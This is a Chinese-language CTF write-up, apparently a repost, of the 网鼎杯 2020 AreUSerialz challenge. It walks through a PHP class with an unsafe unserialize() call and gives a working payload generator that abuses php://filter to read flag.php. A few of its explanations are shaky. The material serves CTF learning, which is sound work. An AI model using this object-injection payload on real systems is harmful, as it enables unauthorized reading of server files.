代码审计:[网鼎杯 2020 青龙组]AreUSerialz
Posted F1ght!!
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计:[网鼎杯 2020 青龙组]AreUSerialz相关的知识,希望对你有一定的参考价值。
更长:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
include(“flag.php”);
highlight_file(FILE);
包含flag文件,并对本文件进行高亮处理:
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
第一个类,名为FileHandler,有文件处理的意思:
首先定义了三个保护变量:
接下来定义了一个函数,看名字是魔法函数,也就是在反序列化后会被触发的函数,可以猜到可能有反序列化:
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
同时这个魔术方法是用于在实例化开始后,立刻对类中的变量进行初始化。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
this->是调用自身这个类的成员函数:由类中变量op的值来进行write(),和read()等读写操作,这两个函数可能是在后面进行了定义:
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
果然定义了一个write函数,其为私有函数,其内容是:
首先:
if(isset($this->filename) && isset($this->content))
判断:传入该类的参数filename和content是否定义,
前面初始化了的,
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
继续,如果字符串长度大于100,则退出,并输出too long:筛选长度:
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
设置了read(),读取函数,判断传入的filename变量是否存在,然后通过file_get_content获取其内容,并将其输出:
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
这个output()直接将其输出出来:
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
接着这个定义魔法函数,__destruct()
定义:
__construct() - 在每次创建新对象时先调用此方法
__destruct() - 对象的所有引用都被删除或者当对象被显式销毁时执行
或者说:
在类实例化的时候自动加载__construct这个方法
当类需要被删除或者销毁这个类的时候自动加载__destruct这个方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
在类被销毁时,判断op的值,而且是强类型判断,如果是2就更改为1.并对content变量进行重新赋值,然后再调用类中的process()函数。由前面已知process()函数是定义来进行读写操作的。
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
这个函数,是确定其传入的变量是否为可打印的字符。ord()函数即返回其ASCLL码。
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这里是最后一步了,
第一行,收集从前端传来的变量str,是用get方法,也就是从网址栏输入的?str=xxx传来的数据:
判断其是否为可打印的字符,然后进行反序列化,OK完了。
所以构造payload也十分简单:
<?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
网页代码里将传入的参数进行了反序列化,同时也看到了里面的类和其中的主要函数,
那么构造 class Filehandler , 传入$op =2 使其功能为read(),然后读取的文件利用php伪协议,读取flag.php,因为开头有一个include(flag.php), 之后将其实例化,在序列化,传给服务器,读取到flag.php的内容
但还有一点没有说到:在 后端,明明class中的变量是被protected的,为什么能被轻易更改??没学好
以上是关于代码审计:[网鼎杯 2020 青龙组]AreUSerialz的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)
Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)